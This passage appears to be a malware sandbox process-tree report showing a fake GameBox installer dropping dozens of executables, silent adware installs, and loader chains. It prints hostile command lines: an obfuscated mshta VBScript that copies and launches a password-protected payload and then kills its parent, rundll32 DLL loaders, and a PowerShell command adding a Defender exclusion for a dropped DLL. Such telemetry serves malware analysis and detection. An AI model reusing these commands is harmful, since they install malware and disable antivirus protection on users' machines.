PID:8668

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fh5motkh.qha\autosubplayer.exe /S & exit
6⤵
PID:2496

C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
2⤵
- Executes dropped EXE
PID:4132

C:\Users\Admin\AppData\Roaming\1223471.exe
"C:\Users\Admin\AppData\Roaming\1223471.exe"
3⤵
PID:4640

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
PID:5944

C:\Users\Admin\AppData\Roaming\4983537.exe
"C:\Users\Admin\AppData\Roaming\4983537.exe"
3⤵
PID:4900

C:\Users\Admin\AppData\Roaming\6074099.exe
"C:\Users\Admin\AppData\Roaming\6074099.exe"
3⤵
- Executes dropped EXE
PID:4540

C:\Users\Admin\AppData\Roaming\4486205.exe
"C:\Users\Admin\AppData\Roaming\4486205.exe"
3⤵
PID:1616

C:\Users\Admin\AppData\Roaming\6213878.exe
"C:\Users\Admin\AppData\Roaming\6213878.exe"
3⤵
PID:5712

C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
2⤵
- Executes dropped EXE
PID:3904

C:\Users\Admin\AppData\Local\Temp\is-G7EH7.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-G7EH7.tmp\VPN.tmp" /SL5="$10364,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5156

C:\Users\Admin\AppData\Local\Temp\is-S0F4K.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-S0F4K.tmp\Setup.exe" /silent /subid=720
4⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\is-0PLCO.tmp\Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0PLCO.tmp\Setup.tmp" /SL5="$104A2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-S0F4K.tmp\Setup.exe" /silent /subid=720
5⤵
PID:6280

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
6⤵
PID:4928

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe remove tap0901
7⤵
PID:8124

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
6⤵
PID:5516

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe install OemVista.inf tap0901
7⤵
PID:5132

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
6⤵
PID:9312

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
6⤵
PID:10000

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
2⤵
- Executes dropped EXE
PID:5128

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
3⤵
PID:6116

C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
2⤵
- Executes dropped EXE
PID:5288

C:\Users\Admin\Documents\wpNAviy54fGZplOuZDZ1bJJc.exe
"C:\Users\Admin\Documents\wpNAviy54fGZplOuZDZ1bJJc.exe"
3⤵
PID:6440

C:\Users\Admin\Documents\T8zNecz4eD2H3r1KGcFKmgoa.exe
"C:\Users\Admin\Documents\T8zNecz4eD2H3r1KGcFKmgoa.exe"
3⤵
PID:6492

C:\Users\Admin\Documents\imLfZWuqEodE2j_nFfhDzweD.exe
"C:\Users\Admin\Documents\imLfZWuqEodE2j_nFfhDzweD.exe"
3⤵
PID:6536

C:\Users\Admin\Documents\R8nO5KorPcVDllCd0stxnwSH.exe
"C:\Users\Admin\Documents\R8nO5KorPcVDllCd0stxnwSH.exe"
3⤵
PID:6564

C:\Users\Admin\Documents\mBmgCtfIlDKzUJ7YxAHLKFQ3.exe
"C:\Users\Admin\Documents\mBmgCtfIlDKzUJ7YxAHLKFQ3.exe"
3⤵
PID:6580

C:\Users\Admin\Documents\78w88nYBN4sJo_5bWmF9jIas.exe
"C:\Users\Admin\Documents\78w88nYBN4sJo_5bWmF9jIas.exe"
3⤵
PID:6628

C:\Users\Admin\Documents\78w88nYBN4sJo_5bWmF9jIas.exe
C:\Users\Admin\Documents\78w88nYBN4sJo_5bWmF9jIas.exe
4⤵
PID:4964

C:\Users\Admin\Documents\cUP88ByUrYfPoxcs9rkiVbig.exe
"C:\Users\Admin\Documents\cUP88ByUrYfPoxcs9rkiVbig.exe"
3⤵
PID:6508

C:\Users\Admin\Documents\9GAfLAAJjugV_0IYDIr7shzi.exe
"C:\Users\Admin\Documents\9GAfLAAJjugV_0IYDIr7shzi.exe"
3⤵
PID:6712

C:\Users\Admin\Documents\XK1n30l538BJIIZ7WkmO0RNJ.exe
"C:\Users\Admin\Documents\XK1n30l538BJIIZ7WkmO0RNJ.exe"
3⤵
PID:7016

C:\Users\Admin\Documents\QLJQCfwA9ISpTUsUEeOz7JHE.exe
"C:\Users\Admin\Documents\QLJQCfwA9ISpTUsUEeOz7JHE.exe"
3⤵
PID:7048

C:\Users\Admin\Documents\QLJQCfwA9ISpTUsUEeOz7JHE.exe
"C:\Users\Admin\Documents\QLJQCfwA9ISpTUsUEeOz7JHE.exe"
4⤵
PID:11196

C:\Users\Admin\Documents\ZsgxHC6WCh4VQ6uFF9U47yWv.exe
"C:\Users\Admin\Documents\ZsgxHC6WCh4VQ6uFF9U47yWv.exe"
3⤵
PID:7040

C:\Users\Admin\Documents\joThVgtZlkMTyRmz0Ukvw0fU.exe
"C:\Users\Admin\Documents\joThVgtZlkMTyRmz0Ukvw0fU.exe"
3⤵
PID:7008

C:\Users\Admin\Documents\UYgu5FtfgM_jyOjapEKKv1nn.exe
"C:\Users\Admin\Documents\UYgu5FtfgM_jyOjapEKKv1nn.exe"
3⤵
PID:7000

C:\Users\Admin\Documents\3oUUQOwFpe7Th3qGhr8oNM_e.exe
"C:\Users\Admin\Documents\3oUUQOwFpe7Th3qGhr8oNM_e.exe"
3⤵
PID:6992

C:\Users\Admin\Documents\3oUUQOwFpe7Th3qGhr8oNM_e.exe
"C:\Users\Admin\Documents\3oUUQOwFpe7Th3qGhr8oNM_e.exe"
4⤵
PID:5816

C:\Users\Admin\Documents\sdOGrP11avknfT5WdlIA4hrD.exe
"C:\Users\Admin\Documents\sdOGrP11avknfT5WdlIA4hrD.exe"
3⤵
PID:6984

C:\Users\Admin\Documents\AY6Etl6CuuITT6iXQPhE_rtU.exe
"C:\Users\Admin\Documents\AY6Etl6CuuITT6iXQPhE_rtU.exe"
3⤵
PID:6976

C:\Users\Admin\Documents\AY6Etl6CuuITT6iXQPhE_rtU.exe
C:\Users\Admin\Documents\AY6Etl6CuuITT6iXQPhE_rtU.exe
4⤵
PID:6688

C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe
"C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe"
3⤵
PID:6968

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )
4⤵
PID:4584

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\6o6jWJheDXSMx7dmb2y6NjMW.exe" ) do taskkill -f -iM "%~NxA"
5⤵
PID:6204

C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE
hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS
6⤵
PID:7908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )
7⤵
PID:8104

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"
8⤵
PID:7412

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a
7⤵
PID:6480

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "6o6jWJheDXSMx7dmb2y6NjMW.exe"
6⤵
- Kills process with taskkill
PID:7496

C:\Users\Admin\Documents\tPghF3vBf7QwiOqU_xmNs0oI.exe
"C:\Users\Admin\Documents\tPghF3vBf7QwiOqU_xmNs0oI.exe"
3⤵
PID:6960

C:\Users\Admin\Documents\O16EaCO8vUpaS11QUus_Bpt2.exe
"C:\Users\Admin\Documents\O16EaCO8vUpaS11QUus_Bpt2.exe"
3⤵
PID:6952

C:\Users\Admin\AppData\Roaming\4722654.exe
"C:\Users\Admin\AppData\Roaming\4722654.exe"
4⤵
PID:7668

C:\Users\Admin\AppData\Roaming\7732874.exe
"C:\Users\Admin\AppData\Roaming\7732874.exe"
4⤵
PID:6592

C:\Users\Admin\AppData\Roaming\5281144.exe
"C:\Users\Admin\AppData\Roaming\5281144.exe"
4⤵
PID:7836

C:\Users\Admin\AppData\Roaming\8125168.exe
"C:\Users\Admin\AppData\Roaming\8125168.exe"
4⤵
PID:6068

C:\Users\Admin\Documents\fJUNOqKyKZQXRgLPhJIh1X09.exe
"C:\Users\Admin\Documents\fJUNOqKyKZQXRgLPhJIh1X09.exe"
3⤵
PID:6944

C:\Users\Admin\Documents\ykNZ2aHvykIgg4kHsW4NhE_S.exe
"C:\Users\Admin\Documents\ykNZ2aHvykIgg4kHsW4NhE_S.exe"
3⤵
PID:6936

C:\Users\Admin\Documents\7v4d3GzyCZTGFn85icAyNKJQ.exe
"C:\Users\Admin\Documents\7v4d3GzyCZTGFn85icAyNKJQ.exe"
3⤵
PID:6928

C:\Users\Admin\Documents\2VBI4Q5Dt_CCy9ZrSc4TOvGW.exe
"C:\Users\Admin\Documents\2VBI4Q5Dt_CCy9ZrSc4TOvGW.exe"
3⤵
PID:6920

C:\Users\Admin\Documents\2VBI4Q5Dt_CCy9ZrSc4TOvGW.exe
"C:\Users\Admin\Documents\2VBI4Q5Dt_CCy9ZrSc4TOvGW.exe"
4⤵
PID:5824

C:\Users\Admin\Documents\Qe_ye0XnQxeyqNyrt92kefBU.exe
"C:\Users\Admin\Documents\Qe_ye0XnQxeyqNyrt92kefBU.exe"
3⤵
PID:7156

C:\Users\Admin\AppData\Local\Temp\is-IA2TB.tmp\Qe_ye0XnQxeyqNyrt92kefBU.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IA2TB.tmp\Qe_ye0XnQxeyqNyrt92kefBU.tmp" /SL5="$20416,138429,56832,C:\Users\Admin\Documents\Qe_ye0XnQxeyqNyrt92kefBU.exe"
4⤵
PID:5524

C:\Users\Admin\AppData\Local\Temp\is-71VB1.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-71VB1.tmp\Setup.exe" /Verysilent
5⤵
PID:748

C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
6⤵
PID:6992

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629412509 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
7⤵
PID:10336

C:\Users\Admin\Documents\xfxN57uGvVXcMYcdAYzrjmXY.exe
"C:\Users\Admin\Documents\xfxN57uGvVXcMYcdAYzrjmXY.exe"
3⤵
PID:5936

C:\Users\Admin\Documents\xfxN57uGvVXcMYcdAYzrjmXY.exe
"C:\Users\Admin\Documents\xfxN57uGvVXcMYcdAYzrjmXY.exe" -q
4⤵
PID:7600

C:\Users\Admin\Documents\T81o_EjoTo7M21llomH3JVHK.exe
"C:\Users\Admin\Documents\T81o_EjoTo7M21llomH3JVHK.exe"
3⤵
PID:4156

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\T81O_E~1.DLL,s C:\Users\Admin\DOCUME~1\T81O_E~1.EXE
4⤵
PID:8716

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\T81O_E~1.DLL,PiMbWlJ3RA==
5⤵
PID:9696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\T81O_E~1.DLL
6⤵
PID:1524

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\T81O_E~1.DLL,YQFfSQ==
6⤵
PID:4400

C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 31804
7⤵
PID:5592

C:\Windows\system32\ctfmon.exe
ctfmon.exe
8⤵
PID:7652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp7A68.tmp.ps1"
6⤵
PID:10580

C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
2⤵
- Executes dropped EXE
PID:5208

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5208 -s 1496
3⤵
- Program crash
PID:6052

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe" ) do taskkill -f -iM "%~NxA"
1⤵
PID:2644

C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE
hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS
2⤵
- Executes dropped EXE
PID:5248

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a
3⤵
PID:6076

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "uGmE7ZNudzFhsulIQN2tk8Zf.exe"
2⤵
- Kills process with taskkill
PID:6084

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )
1⤵
PID:5764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"
2⤵
PID:6000

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2008

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:5908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5808

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6672

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding B1239208771E4393EEDBDE21AC4F3CC5 C
2⤵
PID:7276

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 0FA8AE5E605850FAEA5EA71E131D8A6C C
2⤵
PID:8180

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 2C13BCF95EAACA06E25DBB9760A1819C
2⤵
PID:6096

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 6ECDDF3D39C5FC5613BA36CD01A83ED4 C
2⤵
PID:8456

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
2⤵
PID:9552

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
3⤵
PID:7968

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
4⤵
PID:7964

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x198,0x1e8,0x7ff8284adec0,0x7ff8284aded0,0x7ff8284adee0
5⤵
PID:5992

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=1812 /prefetch:8
5⤵
PID:9924

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1548 /prefetch:2
5⤵
PID:6472

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2584 /prefetch:1
5⤵
PID:9372

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2544 /prefetch:1
5⤵
PID:9152

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=2288 /prefetch:8
5⤵
PID:10696

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=3100 /prefetch:8
5⤵
PID:10544

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3136 /prefetch:2
5⤵
- Executes dropped EXE
PID:2252

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=3520 /prefetch:8
5⤵
PID:8952

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=2116 /prefetch:8
5⤵
PID:10380

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=2064 /prefetch:8
5⤵
PID:7916

C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1532,13677576957955796234,16691276282722521056,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7964_1392991135" --mojo-platform-channel-handle=3444 /prefetch:8
5⤵
PID:7556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_36D9.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
3⤵
PID:4156

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7608

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:7532

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5684

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7332

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8472

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8868

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9068

C:\Windows\SysWOW64\rundll32.exe
